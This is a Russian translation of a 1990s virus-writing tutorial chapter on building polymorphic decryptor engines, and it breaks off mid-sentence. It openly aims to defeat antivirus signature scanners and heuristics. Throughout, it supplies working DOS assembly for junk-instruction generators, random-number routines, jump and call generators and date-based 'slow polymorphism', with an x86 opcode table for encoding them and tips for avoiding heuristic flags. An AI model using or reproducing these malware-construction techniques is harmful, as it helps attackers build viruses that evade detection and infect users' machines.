+ Пособие по написанию вирусов от Billy Belcebг +
( Фрагмент. Вольный перевод - (с) DrMad, 1999 )
---+ Полиморфизм +--------------------------------------------
Это одна из наиболее интересных вещей в вирусологии. Кроме того,
очень забавно написать ППР (Полиморфную Процедуру Расшифровки), и это
непосредственно свидетельствует о профессиональном уровне вирмера.
Также это вещь, о которой новички постоянно думают, как о невероятно
трудной и что только продвинутые вирмеры способны заниматься
полиморфизмом. НЕ СТОИТ ТАК ДУМАТЬ! Это очень просто. Не тревожьтесь.
Если Вы добрались до этих строк живыми, я уверен, что Вы и во всем
разберетесь. Эта глава является расширением главы ШИФРОВАНИЕ.
Наша цель - сделать ППР безгранично распространенной в мире
вирмерства : победить антивирмеров посредством минимизации возможности
обнаруживать вирусы по характерным строкам, что и будет означать
FUCK'EM ALL! J Идея состоит в том, чтобы генерировать различные
расшифровщики для каждого сеанса инфицирования, так что антивирмерам
придется каждый раз отсасывать при попытке детектировать наш вирус. И
эта техника, в совокупности со СТЕЛС-ЗАЩИТОЙ, АНТИЭВРИСТИКОЙ и
НЕПОДДАВАЕМОСТЬЮ должна сделать ваши вирусы очень мощными.
Итак, начнем изучать интересующий материал.
% История %
-----------
Первые попытки написать ППР принадлежали болгарскому программеру,
вероятно, одному из величайших вирмеров, именуемому Dark Avenger. Его
вирусы были, есть и будут учебниками для всех вирмеров. Начиная с его
первых вирусов, таких как Eddie, он продемонстрировал выдающиеся
качества в программировании. Но наилучшим его творением надо признать
MtE ( Mutation Engine - Мутационный движок ), первую ППР в истории
вирмерства. Все антивирмеры съехали с катушек в попытках найти
сигнатуру для вирусов, основанных на этой технологии. После долгих
мучений антивирмеры нашли таки подходящую сигнатуру для MtE. Но это
было только начало. Masud Khafir, член вирмерской группы Trident,
разработал TPE, Dark Angel из Phalcon Skiskm разработал DAME, и многие
другие вирмейкеры занялись другими крутыми технологиями. Если мы
говорим о полиморфных технологиях, мы должны иметь в виду, что эта
техника возникла в 1992 году, очень давно. Главная цель была - борьба
со сканерами сигнатур, и это сейчас выполнить очень просто.
Но сейчас полиморфные технологии заимели множество врагов:
кодоанализаторы, эмуляторы, трассировщики, эвристики и продвинутых
антивирмеров, сражающихся против нас. Первоначально вирмеры считали,
что лучшая возможность для расшифровщиков - сделать их как можно более
вариабельными. Но время показало недостаточность этой идеи: антивирмеры
способны декодировать КИЛОБАЙТЫ, чтобы только добраться до возможных
расшифровщиков, которые ППР может генерировать. Если мы покажем им
самую маленькую порцию наших возможных расшифровщиков (с использованием
даты для генерации случайного числа, например), то мы оттрахаем их. Они
отсканируют сигнатуру, но на другом компьютере, в другой ситуации, это
сканирование не будет работать. Это называется МЕДЛЕННЫМ ПОЛИМОРФИЗМОМ.
Мы рассмотрим эту идею дальше.
% Введение %
------------
Полиморфная технология - наиболее личная вещь, которую программер
способен сделать. Сейчас я должен вам сказать, что использование
полиморфности, придуманной другим программером, не является хорошей
идеей. Написать достойную ППР очень легко, но если вы используете чужую
разработку, вы ограничены в средствах при написании вашего вируса.
Нам необходимо сгенерировать расшифровщик, помещающий мусор между
реальными расшифровывающими командами, с ложными переходами, вызовами
процедур, антиотладкой и пр. посмотрим, что же мы должны для этого
сделать...
- Генерировать много путей для достижения одной точки
- Изменять порядок команд, если это возможно
- Позволять использование в других вирусах
- Вызывать бессмысленные INT 21h
- Вызывать бессмысленные другие прерывания
- Если захотим, то использовать медленный полиморфизм
- Минимизировать все возможные сигнатуры
- Защищать генератор команд, чтобы максимально затруднить
его дизассемблирование
Если вы занимаетесь ППР, imagination - очень хорошее оружие.
Используйте это средство для герерации многих оригинальных вещей, какие
только можете.
% Первые шаги в полиморфизме %
-----------------------------
Простейшим путем сделать расшифровщик, который меняется при каждом
поколении вирусов, является написание генератора мусора, и разжижение
команд расшифровщика мусорными командами. Это первая попытка, которую
вы можете сделать с целью написать свой полиморфик. Первый тип мусора -
однобайтовики, это простейшие варианты команд, которые мы можем
использовать. Мы должны выбрать перед использованием бессмысленных
команд мусорные регистры. Я обычно использую AX, BX и DX. Давайте
посмотрим на маленькую табличку однобайтовиков:
OneByteTable:
db 09Eh ; sahf
db 090h ; nop
db 0F8h ; clc
db 0F9h ; stc
db 0F5h ; cmc
db 09Fh ; lahf
db 0CCh ; int 3h
db 048h ; dec ax
db 04Bh ; dec bx
db 04Ah ; dec dx
db 040h ; inc ax
db 043h ; inc bx
db 042h ; inc dx
db 098h ; cbw
db 099h ; cwd
EndOneByteTable:
При помощи простой процедуры, которая размещает реальные команды, и
другой, которая размещает мусор, мы получаем очень простую полиморфную
технологию. Она удобна для наших первых шагов, но если вы пишете
хороший вирус, вы должны знать одну вещь... если встречается слишком
много бесмысленных команд, приготовьтесь к тому, что антивирус выставит
флаг. Кгхм... так как мы можем почать такие инструкции? Очень просто:
GenerateOneByteJunk:
lea si,OneByteTable ; Смещение в таблице
call random ; Генерирует случайные числа
and ax,014h ; AX долно быть между 0 и 14
add si,ax ; Добавим AX (AL) к смещению
mov al,[si] ; Поместим выбранный код в al
stosb ; Сохраним в ES:DI (указывает
; на расшифровщик )
ret
Ну конечно, нам нужен генератор случайных чисел. Вот простейший:
Random:
in ax,40h ; Будет помещать случайное
in al,40h ; число в AX
ret
При помощи вышеприведенных процедур мы можем сделать ну очень
примитивную технологию. Но наши цели другие, так что обратим внимание
на дальнейшие разделы этой главы.
% Несколько возможностей выполнить простую операцию %
-----------------------------------------------------
Существует бесконечное число возможностей ( ну скажем... миллионы
возможностей J), чтобы выполнить простую операцию. Давайте посмотрим,
как можно выполнить "mov dx, 1234h" без применения других регистров:
mov dx,1234h
push 1234h
pop dx
mov dx,1234h xor 5678h
xor dx,5678h
mov dh,12h
mov dl,34h
xor dx,dx
or dx,1234h
mov dx,not 1234h
not dx
[...]
И мы можем придумывать новые и новые комбинации. И, конечно, если
мы будем задействовать еще и другие регистры, количество возможностей
еще более возрастает.
% Изменение порядка команд %
----------------------------
Существует много команд, которые мы можем программировать в том
порядке, какой нас устраивает. И это, в совокупности с возможностями
выполнять простые команды, может сделать наш полиморфный движок
действительно мощным.
Обычно все команды, которые размещаются перед циклом расшифровки,
могут быть размещены в произвольном порядке, исключая комбинации
PUSH/POP, а также аналогичные. Мы говорим о командах, работа которых не
заваисит от работы других. Давайте рассмотрим примерчик:
mov cx,encrypt_size
mov si,encrypt_begin
mov di,encrypt_key
Мы можем переставить эти команды в том порядке, в каком хотим, в
случайном порядке J Они будут делать то же самое, если даже
переставить их так:
mov di,encrypt_key
mov cx,encrypt_size
mov si,encrypt_begin
И это касается всех возможных комбинаций.
% Переносимость %
-----------------
Сделать переносимый полиморфный движок достаточно просто. Все, что
мы должны сделать - это сделать так, чтобы наша ППР использовала
параметры. Например, мы можем использовать CX для хранения размера
шифруемой части, DS:DX для указания на шифруемую область, и т.п. Таким
образом мы можем использовать наш движок в вирусе удобным образом.
% Таблицы против Блоков %
------------------------
ю Табличные ППР:
Смысл движков этого вида, чтобы иметь смещения всех процедур,
которые гененируют мусор (однобайтовики, ложные вызовы прерываний,
математические команды...) в другой таблице. Затем, используя случайное
число, мы обращаемся по одному из смещений и получаем случайный мусор.
Посмотрим примерчик:
RandomJunk:
call Random ; Случайное число в AX
and ax,(EndRandomJunkTable-RandomJunkTable)/2
add ax,ax ; AX*2
xchg si,ax
add si, offset RandomJunkTable ; Указатель на таблицу
lodsw
call ax ; Обращение по случайному смещению
ret
RandomJunkTable:
dw offset GenerateOneByteJunk
dw offset GenerateMovRegImm
dw offset GenerateMovRegMem
dw offset GenerateMathOp
dw offset GenerateArmour
dw offset GenerateCalls
dw offset GenerateJumps
dw offset GenerateINTs
[...]
EndRandomJunkTable:
Очень легко добавить новые процедуры к табличной ППР, и этот тип
движка может быть сильно оптимизирован (зависит от программиста).
ю Блоковые ППР:
Наша цель состоит в том, чтобы составить для каждой команды
расшифровщика блоки фиксированного размера. Имеется пример такого рода
движков в вирусе Elvira (Spanska), опубликованного в 29A#2. Давайте
рассмотрим примерчик одного из блоков в движке вируса Elvira,
предназначенный для сравнения CX с 0. Каждый блок имеет определенный
размер (6 байтов).
cmp cx, 0
nop
nop
nop
nop
nop
nop
cmp cx, 0
nop
or cx, cx
nop
nop
nop
nop
nop
nop
or cx, cx
nop
test cx, 0FFFFh
nop
nop
or cl, cl
jne suite_or
or ch, ch
suite_or:
mov bx, cx
inc bx
cmp bx, 1
inc cx
cmp cx, 1
dec cx
nop
dec cx
cmp cx, 0FFFFh
inc cx
nop
Как вы можете видеть, гораздо проще добавлять новые блоки для
выполнения той же задачи. Но этот сорт движков имеет слабое место:
размер. Движок Elvir-ы занимает около половины длины всего вируса: из
4250 байтов движок отсасывает 2000-2500 байтов. Зато приятно, что
добавляя новые блоки, мы можем создавать новые варианты вируса, и
делать его недетектируемым для антивирмеров J
ю Но победителем является...
Я считаю, что таблицы - нормальное решение, потому что мы можем
генерировать все возможные комбинации блоков, и более того. Блоки -
решение для всех ППР, которые не хотят продолжить свое существование в
аду J
% Команды %
-----------
А здесь - основа всех полиморфных движков, способ генерировать
команды со случайными регистрами, значениями, позициями в памяти...
ю Нотация:
Символ* Объяснение*
****** ***********
imm8 байтовый непосредственный операнд
imm16 словный непосредственный операнд
reg8 байтовый регистровый операнд
reg16 словный регистровый операнд
mem8 байтовый операнд в памяти
mem16 словный операнд в памяти
regmem8 байтовый операнд регистр/память
regmem16 словный операнд регистр/память
d8 перемещаемый адрес байта
d16 перемещаемый адрес слова
sig8 байтовый знаковый операнд
sig16 словный знаковый операнд
sig32 операнд типа смещение:сегмент
^0,^1, etc Поле Reg байта RegInfо, содержит это число в
качестве оператора
RegInfoByte требует следующи полей
reg код используемого регистра
sreg код сегментного регистра
r/m тип адресации ( базовый, индексный, регистры... )
mod индексный регистр ( DI, BP... )
dir направление
w признак слова
Скелет кода операции*
********************
+-----------------------------------------------------------------------+
| 8 bits 2 3 3 8 or 16 bits 8 or 16 bits |
| +=============+ +=====С=====С=====+ +==============+ +==============+ |
| | Команда | | MOD | REG | R/M | | Размещение | | Данные | |
| +=============+ +=====П=====П=====+ +==============+ +==============+ |
| 1 байт 1 байт 1 или 2 байта 1 или 2 байта |
+-----------------------------------------------------------------------+
Поле Reg *
*********
Поле Reg 00 01 02 03 04 05 06 07
Байтовые рег-с AL CL DL BL AH CH DH BH
Словные рег-с AX CX DX BX SP BP SI DI
Расширенные р EAX ECX EDX EBX ESP EBP ESI EDI
Как мы можем узнать - регистр словный или байтовый? Легко,
при помощи бита w. Если от 1, то слово, иначе - байт.
Поле Sreg *
**********
Поле Sreg 01 03 05 07
Сегмент ES CS SS DS
Поля R/M и Mod*
**************
Поле R/M 00 Mod
000 [BX+SI]
001 [BX+DI]
010 [BP+SI]
011 [BP+DI]
100 [SI]
101 [DI]
110 d16
111 [BX]
Поле R/M 01 Mod
000 [BX+SI+d8]
001 [BX+DI+d8]
010 [BP+SI+d8]
011 [BP+DI+d8]
100 [SI+d8]
101 [DI+d8]
110 [BP+d8]
111 [BX+d8]
Поле R/M 10 Mod
000 [BX+SI+d16]
001 [BX+DI+d16]
010 [BP+SI+d16]
011 [BP+DI+d16]
100 [SI+d16]
101 [DI+d16]
110 [BP+d16]
111 [BX+d16]
Поле R/M 11 Mod Байт Слово
000 AL AX
001 CL CX
010 DL DX
011 BL BX
100 AH SP
101 CH BP
110 DH SI
111 BH DI
Поле направления*
***************
Если оно 0, перемещаемся от reg к mod, если 1, то vice-versa, но,
пожалуйста, имейте в виду, что TBSCAN выставит флаг, если в команде
присутствует это поле = 0, потому что ассемблером этого не
сгенерируешь.
ю Коды команд:
+-------+
| MOV |
+-------+
Эта команда наиболее используемая в ассемблере. Кроме того, ее
можно запрограммировать большим числом способов. ОСТОРОЖНО! У этой
команды есть несколько оптимизированных вариантов, и как вы можете
видеть, для AL/AX. Вы можете кодировать эти регистры, как делается в
ассемблерных программах, но если не будете - эвристические анализаторы
вы-#$%^-ут ваш код!
MOV reg8,imm8 B0+RegByte imm8
MOV reg16,imm16 B8+RegWord imm16
MOV AL,mem8 A0 mem8
MOV AX,mem16 A1 mem16
MOV mem8,AL A2 mem8
MOV mem16,AX A3 mem16
MOV reg8,regmem8 8A RegInfoByte
MOV reg16,regmem16 8B RegInfoByte
MOV regmem8,reg8 88 RegInfoByte
MOV regmem16,reg16 89 RegInfoByte
MOV regmem8,imm8 C6 ^0
MOV regmem16,imm16 C7 ^0
MOV reg16,segmentreg 8C RegInfoByte
MOV segmentreg,reg16 8E RegInfoByte
+--------+
| XCHG |
+--------+
Как и в случае с MOV, эта команда тоже оптимизирована для AX.
XCHG AX,reg16 90+RegWord
XCHG reg8,regmem8 86 RegInfoByte
XCHG regmem8,reg8 86 RegInfoByte
XCHG reg16,regmem16 87 RegInfoByte
XCHG regmem16,reg16 87 RegInfoByte
+-----------------------+
| Сегментные префиксы |
+-----------------------+
Это не полные команды. Это префиксы, они размещаются перед
командами.
SEGCS 2E
SEGDS 3E
SEGES 26
SEGSS 36
+--------------------+
| Стековые команды |
+--------------------+
Эти команды используются для помещения/извлечения/обработки
значений в/из/внутри стека.
PUSH reg16 50+RegWord
PUSH regmem16 FF ^6
PUSH imm8 6A imm8
PUSH imm16 68 imm16
PUSH CS 0E
PUSH DS 1E
PUSH ES 06
PUSH SS 16
PUSHA 60
PUSHF 9C
POP reg16 58+RegWord
POP regmem16 8F ^0 imm16
POP DS 1F
POP ES 07
POP SS 17
POPA 61
POPF 9D
+--------------------+
| Флаговые команды |
+--------------------+
Все эти команды однобайтовые, так что чрезвычайно удобны для
генераторов мусора, но остерегайтесь некоторых инструкций типа STD и
STI.
CLI FA
STI FB
CLD FC
STD FD
CLC F8
STC F9
CMC F5
SAHF 9E
LAHF 9F
Логические команды*
******************
+-------+
| XOR |
+-------+
XOR AL,imm8 34 imm8
XOR AX,imm16 35 imm16
XOR reg8,regmem8 32 RegInfoByte
XOR reg16,regmem16 33 RegInfoByte
XOR regmem8,reg8 30 RegInfoByte
XOR regmem16,reg16 31 RegInfoByte
XOR regmem8,imm8 80 ^6 imm8
XOR regmem16,imm8 83 ^6 imm8
XOR regmem16,imm16 81 ^6 imm16
+------+
| OR |
+------+
OR AL,imm8 0C imm8
OR AX,imm16 0D imm16
OR reg8,regmem8 0A RegInfoByte
OR reg16,regmem16 0B RegInfoByte
OR regmem8,reg8 08 RegInfoByte
OR regmem16,reg16 09 RegInfoByte
OR regmem8,imm8 80 ^1 imm8
OR regmem16,imm8 83 ^1 imm8
OR regmem16,imm16 81 ^1 imm16
+-------+
| AND |
+-------+
AND AL,imm8 24 imm8
AND AX,imm16 25 imm16
AND reg8,regmem8 22 RegInfoByte
AND reg16,regmem16 23 RegInfoByte
AND regmem8,reg8 20 RegInfoByte
AND regmem16,reg16 21 RegInfoByte
AND regmem8,imm8 80 ^4 imm8
AND regmem16,imm8 83 ^4 imm8
AND regmem16,imm16 81 ^4 imm16
+-------+
| NOT |
+-------+
NOT regmem8 F6 ^2
NOT regmem16 F7 ^2
+-------+
| NEG |
+-------+
NEG regmem8 F6 ^3
NEG regmem16 F7 ^3
+--------+
| TEST |
+--------+
TEST AL,imm8 A8 imm8
TEST AL,imm16 A9 imm16
TEST regmem8,reg8 84 RegInfoByte
TEST regmem16,reg16 85 RegInfoByte
TEST regmem8,imm8 F6 ^0 imm8
TEST regmem16,imm16 F7 ^0 imm16
+-------+
| CMP |
+-------+
CMP AL,imm8 3C imm8
CMP AX,imm16 3D imm16
CMP reg8,regmem8 3A RegInfoByte
CMP reg16,regmem16 3B RegInfoByte
CMP regmem8,reg8 38 RegInfoByte
CMP regmem16,reg16 39 RegInfoByte
CMP regmem8,imm8 80 ^7 imm8
CMP regmem16,imm8 83 ^7 imm8
CMP regmem16,imm16 81 ^7 imm16
Арифметические команды*
**********************
+-------+
| ADD |
+-------+
ADD AL,imm8 04 imm8
ADD AX,imm16 05 imm16
ADD reg8,regmem8 02 RegInfoByte
ADD reg16,rm16 03 RegInfoByte
ADD regmem8,reg8 00 RegInfoByte
ADD regmem16,reg16 01 RegInfoByte
ADD regmem8,imm8 80 ^0 imm8
ADD regmem16,imm8 83 ^0 imm8
ADD regmem16,imm16 81 ^0 imm16
+-------+
| SUB |
+-------+
SUB AL,imm8 2C imm8
SUB AX,imm16 2D imm16
SUB reg8,regmem8 2A RegInfoByte
SUB reg16,regmem16 2B RegInfoByte
SUB regmem8,reg8 28 RegInfoByte
SUB regmem16,reg16 29 RegInfoByte
SUB regmem8,imm8 80 ^5 imm8
SUB regmem16,imm8 83 ^5 imm8
SUB regmem16,imm16 81 ^5 imm16
+-------+
| ADC |
+-------+
ADC AL,imm8 14 imm8
ADC AX,imm16 15 imm16
ADC reg8,regmem8 12 RegInfoByte
ADC reg16,regmem16 13 RegInfoByte
ADC regmem8,reg8 10 RegInfoByte
ADC regmem16,reg16 11 RegInfoByte
ADC regmem8,imm8 80 ^2 imm8
ADC regmem16,imm8 83 ^2 imm8
ADC regmem16,imm16 81 ^2 imm16
+-------+
| SBB |
+-------+
SBB AL,imm8 1C ib
SBB AX,imm16 1D iw
SBB reg8,regmem8 1A RegInfoByte
SBB reg16,regmem16 1B RegInfoByte
SBB regmem8,reg8 18 RegInfoByte
SBB regmem16,reg16 19 RegInfoByte
SBB regmem8,imm8 80 ^3 imm8
SBB regmem16,imm8 83 ^3 imm8
SBB regmem16,imm16 81 ^3 imm16
+-------+
| INC |
+-------+
INC reg16 40+RegWord
INC regmem8 FE ^0
INC regmem16 FF ^0
+-------+
| DEC |
+-------+
DEC reg16 48+RegWord
DEC regmem8 FE ^1
DEC regmem16 FF ^1
+-------+
| MUL |
+-------+
MUL regmem8 F6 ^4
MUL regmem16 F7 ^4
+-------+
| DIV |
+-------+
DIV regmem8 F6 ^6
DIV regmem16 F7 ^6
+--------+
| IMUL |
+--------+
IMUL regmem8 F6 ^5
IMUL regmem16 F7 ^5
IMUL reg16,regmem16,imm16 69 imm16
IMUL reg16,regmem16,imm8 6B imm8
+--------+
| IDIV |
+--------+
IDIV regmem8 F6 ^7
IDIV regmem16 F7 ^7
Команды сдвига*
**************
+-------+
| SHL |
+-------+
SHL regmem8,1 D0 ^4
SHL regmem16,1 D1 ^4
SHL regmem8,CL D2 ^4
SHL regmem16,CL D3 ^4
SHL regmem8,imm8 C0 ^4 imm8
SHL regmem16,imm8 C1 ^4 imm8
+-------+
| SHR |
+-------+
SHR regmem8,1 D0 ^5
SHR regmem16,1 D1 ^5
SHR regmem8,CL D2 ^5
SHR regmem16,CL D3 ^5
SHR regmem8,imm8 C0 ^5 imm8
SHR regmem16,imm8 C1 ^5 imm8
+-------+
| SAL |
+-------+
SAL regmem8,1 D0 ^4
SAL regmem16,1 D1 ^4
SAL regmem8,CL D2 ^4
SAL regmem16,CL D3 ^4
SAL regmem8,imm8 C0 ^4 imm8
SAL regmem16,imm8 C1 ^4 imm8
+-------+
| SAR |
+-------+
SAR regmem8,1 D0 ^7
SAR regmem16,1 D1 ^7
SAR regmem8,CL D2 ^7
SAR regmem16,CL D3 ^7
SAR regmem8,imm8 C0 ^7 imm8
SAR regmem16,imm8 C1 ^7 imm8
+-------+
| ROL |
+-------+
ROL regmem8,1 D0 ^0
ROL regmem16,1 D1 ^0
ROL regmem8,CL D2 ^0
ROL regmem16,CL D3 ^0
ROL regmem8,imm8 C0 ^0 imm8
ROL regmem16,imm8 C1 ^0 imm8
+-------+
| ROR |
+-------+
ROR regmem8,1 D0 ^1
ROR regmem16,1 D1 ^1
ROR regmem8,CL D2 ^1
ROR regmem16,CL D3 ^1
ROR regmem8,imm8 C0 ^1 imm8
ROR regmem16,imm8 C1 ^1 imm8
+-------+
| RCL |
+-------+
RCL regmem8,1 D0 ^2
RCL regmem16,1 D1 ^2
RCL regmem8,CL D2 ^2
RCL regmem16,CL D3 ^2
RCL regmem8,imm8 C0 ^2 imm8
RCL regmem16,imm8 C1 ^2 imm8
+-------+
| RCR |
+-------+
RCR regmem8,1 D0 ^3
RCR regmem16,1 D1 ^3
RCR regmem8,CL D2 ^3
RCR regmem16,CL D3 ^3
RCR regmem8,imm8 C0 ^3 imm8
RCR regmem16,imm8 C1 ^3 imm8
Jump-ы, Call-ы and Ret-ы*
************************
Я должен сейчас немного рассказать об одной интересной для вас
вещи. Смещения jump-ов вычисляются от следующего байта всей команды
перехода, например, если у нас есть E9 00 00 (JUMP NEAR), то мы
переходим сразу к следующей команде, размещенной за командой перехода.
Продолжая дальше, мы можем узнать, что JMP 0001 перескочит через один
байт. Но... Что случится, если мы захотим перейти в обратном
направлении? Очень просто. Если мы выполним JMP FFFF, мы перейдем на
данные, и подвиснем. Мы можем использовать эту формулу, в которой Х -
окончательный результат, и Х' поможет нам произвести вычисления.
X' = адрес jump - адрес перехода + 2
X = NEG X'
+-----------------------+
| Безусловные Jumpы |
+-----------------------+
JMP sig16 ( SHORT ) E9 sig16
JMP sig32 ( FAR ) EA sig32
JMP sig8 ( NEAR ) EB sig8
JMP regmem16 FF ^4
JMP FAR mem16:16 FF ^5
+---------------------+
| Условные Jumpы |
+---------------------+
JO sig8 70 sig8
JNO sig8 71 sig8
JB sig8 72 sig8
JAE sig8 73 sig8
JZ sig8 74 sig8
JNZ sig8 75 sig8
JBE sig8 76 sig8
JA sig8 77 sig8
JS sig8 78 sig8
JNS sig8 79 sig8
JPE sig8 7A sig8
JPO sig8 7B sig8
JL sig8 7C sig8
JGE sig8 7D sig8
JLE sig8 7E sig8
JG sig8 7F sig8
JCXZ sig8 E3 sig8
+--------------+
| Callы |
+--------------+
CALL sig32 9A sig32
CALL sig16 E8 sig16
CALL regmem16 FF ^2
CALL FAR mem16:16 FF ^3
+-----------+
| Returnы |
+-----------+
RETN C3
RETF CB
IRET CF
+--------------+
| Циклы |
+--------------+
LOOPNE/LOOPNZ sig8 E0 cb
LOOPE/LOOPZ sig8 E1 cb
LOOP sig8 E2 cb
Разное*
******
+--------------------+
| Команды загрузки |
+--------------------+
LEA reg16,regmem16 8D RegInfoByte
LDS reg16,mem16:16 C4 RegInfoByte
LES reg16,mem16:16 C5 RegInfoByte
% Генерация Jump-ов и Call-ов %
--------------------------------
Это одна из наиболее важных вещей, которую вам необходимо сделать,
если вы хотите, чтобы сгенерированный вами код был более приятен для
ламерских глаз ;)
ю Переходы:
Создание переходов очень просто и очень полезно для наших нужд.
Попытайтесь отказаться от "вырожденных" jump-ов, типа JMP 0000, потому
что если мы используем этот вид переходов, то эвристический флаг
вскочит с большой долей вероятности. Наша цель - сделать так, чтобы
команды выглядели натурально. И... где еще вам могут встретиться jump-ы
на следующую команду? J Для того, чтобы создавать jump-ы, вы должны
быть внимательны со смещениями, потому что если вы сдалаете их слишком
маленькими или слишком большими, компьютер просто подвиснет. Вы должны
сделать их настраиваемыми на конкретный случай. Это хорошая идея -
сделать смещения jump-ов переменными ( в пределах от 1 до 5 должно
хватить), и использовать в качестве мусорных команд. Разработайте
процедуру для проверки того, что ваши jump-ы будут ссылаться в
правильные позиции. Помните: напугать противника - наше лучшее оружие.
Давайте рассмотрим очень простой генератор условных переходов. Он
очень несложен.
generate_jx:
call random ; Наш генератор случайных чисел
and al,0Fh ; Число между 0 и 16
add al,70h ; Прибавим 70 для получения команды
stosb ; Поместим AL в ES:DI
xor ax,ax ; Сделаем AL = 00
stosb ; Сгенерируем "вырожденный" jump
ret
Это не лучшее решение, но оно... работает J
ю Вызовы подпрограмм:
Чуть-чуть посложнее, чем конструирование jump-ов. Если мы
используем call-ы вместо jump-ов, код рухнет (действительно!). Это
происходит потому, что когда мы выполняем call, смещение помещается в
стек, а команда ret предназначена для возврата в точку, следующую
непосредственно за call-ом. Таким образом, если мы используем call
непосредственно, наш код будет совершенно бесполезным. Существует две
возможности победить эту проблему. Рассмотрим первую из них: делаем
call в определенную точку, а затем генерируем jump, который обходит
данный call ( да, вызов процедуры... это не $%^#-ный RET!), строим код
процедуры, вписываем в конец RET, и это все! Это должно выглядеть
примерно так:
[...]
call shit --------+
[...] -----------|+
jmp avoid_shit -||---------+
[...] || |
shit: ----------+| |
[...] | |
ret ---------------+ |
[...] |
avoid_shit: -----------------+
[...]
Может быть, второй путь окажется более простым для ваших глаз. Дык,
я готов объяснить его вашему пытливому уму J
Мы должны сделать jump через call, затем сгенерировать код для
процедуры генерации RET, и мы теперь можем вызывать код подпрограммы (и
еще сколько угодно раз). Посмотрите:
[...]
jmp avoid_shit -+
[...] |
shit: --------|--+
[...] | |
ret ------------|--|--+
[...] | | |
avoid_shit: ----+ | |
[...] | |
call shit ---------+ |
[...] ---------------+
% Вызовы прерываний %
---------------------
Это ОЧЕНЬ просто, поверьте мне. Мы можем вызывать эти прерывания в
нашем коде, когда захотим; это прерывания, которые ничего не делают.
Посмотрите на коротенький списочек:
INT 01h Пошаговая трассировка, генерируется процессором
INT 08h IRQ0 - Системный таймер, генерируется процессором
INT 0Ah IRQ2 - LPT2/EGA,VGA/IRQ9; генерируется процессором
INT 0Bh IRQ3 - последовательный порт (COM2); генерируется процессором
INT 0Ch IRQ4 - последовательный порт (COM1); генерируется процессором
INT 0Dh IRQ5 - винчестер/LPT2/reserved; генерируется процессором
INT 0Eh IRQ6 - контроллер дискеты; генерируется процессором
INT 0Fh IRQ7 - параллельный принтер
INT 1Ch TIME - тик системного таймера
INT 28h DOS 2+ - прерывание ожидания DOS
INT 2Bh DOS 2+ - зарезервировано
INT 2Ch DOS 2+ - зарезервировано
INT 2Dh DOS 2+ - зарезервировано
INT 70h IRQ8 - часы реального времени в CMOS
INT 71h IRQ9 - переназначено на INT 0A посредством BIOS
INT 72h IRQ10 - зарезервировано
INT 73h IRQ11 - зарезервировано
INT 74h IRQ12 - координатное устройство
INT 75h IRQ13 - исключения в мат. сопре
INT 76h IRQ14 - контроллер жесткого диска
INT 77h IRQ15 - зарезервировано; энергосбережение (Compaq)
Это прерывания, которые вы можете вызывать без каких-либо проблем.
Я советую вам построить таблицу с номерами прерываний для использования
в процедуре, которая генерирует коды команды INT. ЭЙ! Я забыл! Код
команды IN есть CD, а дальше идет байт номера прерывания.
Другим хорошим выбором является обращение к прерываниям INT 21h/INT
10h/INT 16h с функциями, которые ничего не делают. Давайте посмотрим на
возможные варианты команды INT 21h.
AH=0Bh Прочитать состояние входа
AH=0Dh Сбросить буфера
AH=19h Получить текущий диск
AH=2Ah Получить текущую дату
AH=2Ch Получить текущее время
AH=30h Получить номер версии dos
AH=4Dh Получить код ошибки
AH=51h Получить активный psp
AH=62h Получить активный psp
AX=3300h Получить состояние обработки ctrl-break
AX=3700h Получить разделитель командной строки
AX=5800h Получить стратегию распределения памяти
AX=5802h Получить ствтус верхней памяти
Я думаю, достаточно ясно, как сделать код. Генерация MOv AH/AX,
число и INT 21h - простая задача. Просто возьмите и сделайте!J
% Генератор случайных чисел %
----------------------------
Это одно из самого важного в вашем полиморфизме. Простейший путь,
чтобы получить случайное число - обратиться к порту 40h и посмотреть на
то, что из него возвращается. Посмотрите на код:
random:
in ax,40h
in al,40h
ret
Мы можем также использовать INT 1Ah или что-то другое, которое
возвращает различные значения каждый раз. Если нам нужно число в
определенных пределах, мы можем воспользоваться командой AND.
Посмотрите на простейшую процедуру для получения случайного числа в
границах:
random_in_range:
push bx
xchg ax,bx
call random
and ax,bx
pop bx
ret
Она вернет число в границах от 0 до АХ-1. Оптимизированным способом
сделать такую процедуру является использование операции деления.
Вспомните, что делает деление, и обратите внимание на остаток. Когда мы
выполняем деление, остаток ни за что не будет больше (или равен)
делителю. Т.е. остаток всегда лежит в пределах 0 и делитель-1. Давайте
посмотрим, как будет выглядеть процедура, использующая деление:
random_in_range:
push bx dx
xchg ax,bx
call random
xor dx,dx
div bx
xchg ax,dx
pop dx bx
ret
Очень просто, как вы можете видеть. Тему получения случайных чисел
мы продолжим рассматривать в следующей части главы, которая посвящена
медленному полиморфизму.
% Медленный полиморфизм %
-------------------------
Поскольку вы знаете, что все это трахает антивирусы, мы можете
подумать, что это очень сложная техника. Авторы первых полиморфных
движков думали, что наилучшим способом оттрахать антивирусы - является
делание расшифровщиков очень сильно видоизменяемыми каждый раз. Это
было очень плодотворной идеей для первых полиморфиков, но антивирмеры
скоро поняли, что совсем не обязательно составлять отдельные процедуры
лечения для тысяч вариантов расшифровщиков, а достаточно сканировать
сам мутационный алгоритм, и вставили весьма простые сканеры сигнатур в
свои говенные проги ( aka AntiViruses ). Но... что случится, если мы
сделаем процесс мутирования очень медленным? Так родился медленный
полиморфизм. Да, с использованием этой простой идеи, которая не сложней
коровьей лепешки, мы можем обдурить антивирмеров. Наиболее важной
вещью, которую мы должны изменять для получения медленного полиморфика,
являются генераторы случайных чисел. Изменяя их, мы получим технологию
медленной мутации для наших нужд. Мы можем усовершенствовать ее, но она
и так работает очень успешно для ВСЕХ наших нужд. Нам нужны случайные
числа, которые не изменяются очень часто, но раз в день, или раз в
месяц, и мы сможем потом забавно поиграться с этим (если, конечно,
захотим ) J
random_range:
push bx cx dx
xchg ax,bx
mov ax,2C00h
int 21h
xchg ax,dx
xor ax,0FFFFh
xor dx,dx
div bx
xchg ax,dx
pop dx cx bx
ret
А вот с подобной процедуркой ваш полиморфик станет на 100%
медленным. Мне кажется, что идея очень прозрачна.
Вместо этого вы можете использовать обычный счетчик запусков,
который выключает мутирование на длительный период времени, но мне
больше нравится предыдущая техника медленного полиморфизма.
% Расширенный полиморфизм %
---------------------------
Ваши следующие шаги должны быть в направлении расширенного
(продвинутого) полиморфизма. Вы должны попытаться генерировать
реалистичные структуры, типа программ с обращениями к подпрограммам,
прерываниям, играющие с уже известными величинами, выполняющими
реальные сравнения перед условными операторами, и вообще все, что вы
только можете придумать. Вы должны постоянно совершенствовать
изменчивость выших полиморфных движков: если они медленные и очень
